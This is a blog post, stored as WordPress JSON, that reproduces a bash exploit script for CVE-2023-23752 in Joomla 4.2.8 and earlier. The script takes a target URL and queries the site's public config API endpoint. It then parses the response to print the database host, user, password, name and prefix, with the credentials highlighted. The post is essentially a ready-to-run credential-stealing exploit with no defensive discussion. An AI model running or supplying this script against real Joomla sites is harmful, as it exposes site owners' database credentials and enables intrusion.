{"id":56966,"date":"2024-05-21T22:00:06","date_gmt":"2024-05-21T18:00:06","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178651\/CVE-2023-23752.sh.txt"},"modified":"2024-05-21T22:00:06","modified_gmt":"2024-05-21T18:00:06","slug":"joomla-4-2-8-information-disclosure","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/joomla-4-2-8-information-disclosure\/","title":{"rendered":"Joomla 4.2.8 Information Disclosure"},"content":{"rendered":"<p>#!\/bin\/bash<\/p>\n<p># Exploit Title: Joomla! &lt;= 4.2.8 &#8211; Unauthenticated Information Disclosure<\/p>\n<p># Date: 2024-05-21<br \/># CVE: CVE-2023-23752<br \/># Exploit Author: Miguel Redondo (aka d4t4s3c)<br \/># Vendor Homepage: https:\/\/www.joomla.org<br \/># Software Link: https:\/\/downloads.joomla.org<br \/># Version: &lt;= 4.2.8<br \/># Tested on: Linux<br \/># Category: Web Application<\/p>\n<p>while getopts &#8220;:u:&#8221; arg; do<br \/>case ${arg} in<br \/>u) url=${OPTARG}; let parameter_counter+=1 ;;<br \/>esac<br \/>done<\/p>\n<p>if [ -z &#8220;${url}&#8221; ]; then<br \/>echo -e &#8220;\\n[*] Joomla! &lt;= 4.2.8 &#8211; Unauthenticated Information Disclosure&#8221;<br \/>echo -e &#8220;\\n[-] Usage: CVE-2023-23752.sh -u &lt;url&gt;\\n&#8221;<br \/>exit 1<br \/>else<br \/>echo -e &#8220;\\n[*] Joomla! &lt;= 4.2.8 &#8211; Unauthenticated Information Disclosure&#8221;<br \/>curl &#8211;silent &#8211;insecure &#8220;${url}\/api\/index.php\/v1\/config\/application?public=true&#8221; &gt; out.tmp<br \/>echo -e &#8220;\\n[i] Database info:\\n&#8221;<br \/>echo -e &#8220;[+] DB Type: $(sed -E &#8216;s\/.*&#8221;dbtype&#8221;:&#8221;([^&#8221;]+)&#8221;.*\/\\1\/&#8217; out.tmp)&#8221;<br \/>echo -e &#8220;[+] DB Host: $(sed -E &#8216;s\/.*&#8221;host&#8221;:&#8221;([^&#8221;]+)&#8221;.*\/\\1\/&#8217; out.tmp)&#8221;<br \/>echo -e &#8220;\\e[92m[+] DB User: $(sed -E &#8216;s\/.*&#8221;user&#8221;:&#8221;([^&#8221;]+)&#8221;.*\/\\1\/&#8217; out.tmp)\\e[0m&#8221;<br \/>echo -e &#8220;\\e[92m[+] DB Password: $(sed -E &#8216;s\/.*&#8221;password&#8221;:&#8221;([^&#8221;]+)&#8221;.*\/\\1\/&#8217; out.tmp)\\e[0m&#8221;<br \/>echo -e &#8220;[+] DB Name: $(sed -E &#8216;s\/.*&#8221;db&#8221;:&#8221;([^&#8221;]+)&#8221;.*\/\\1\/&#8217; out.tmp)&#8221;<br \/>echo -e &#8220;[+] DB Prefix: $(sed -E &#8216;s\/.*&#8221;dbprefix&#8221;:&#8221;([^&#8221;]+)&#8221;.*\/\\1\/&#8217; out.tmp)&#8221;<br \/>echo -e &#8220;[+] DB Encryptation: $(sed -E &#8216;s\/.*&#8221;dbencryption&#8221;:([0-9]+).*\/\\1\/&#8217; out.tmp)\\n&#8221;<br \/>exit 0<br \/>fi<\/p>\n","protected":false},"excerpt":{"rendered":"<p>#!\/bin\/bash # Exploit Title: Joomla! &lt;= 4.2.8 &#8211; Unauthenticated Information Disclosure # Date: 2024-05-21# CVE: CVE-2023-23752# Exploit Author: Miguel Redondo (aka d4t4s3c)# Vendor Homepage: https:\/\/www.joomla.org# Software Link: https:\/\/downloads.joomla.org# Version: &lt;= 4.2.8# Tested on: Linux# Category: Web Application while getopts &#8220;:u:&#8221; arg; docase ${arg} inu) url=${OPTARG}; let parameter_counter+=1 ;;esacdone if [ -z &#8220;${url}&#8221; ]; thenecho -e &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56966","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56966","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56966"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56966\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56966"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56966"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56966"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}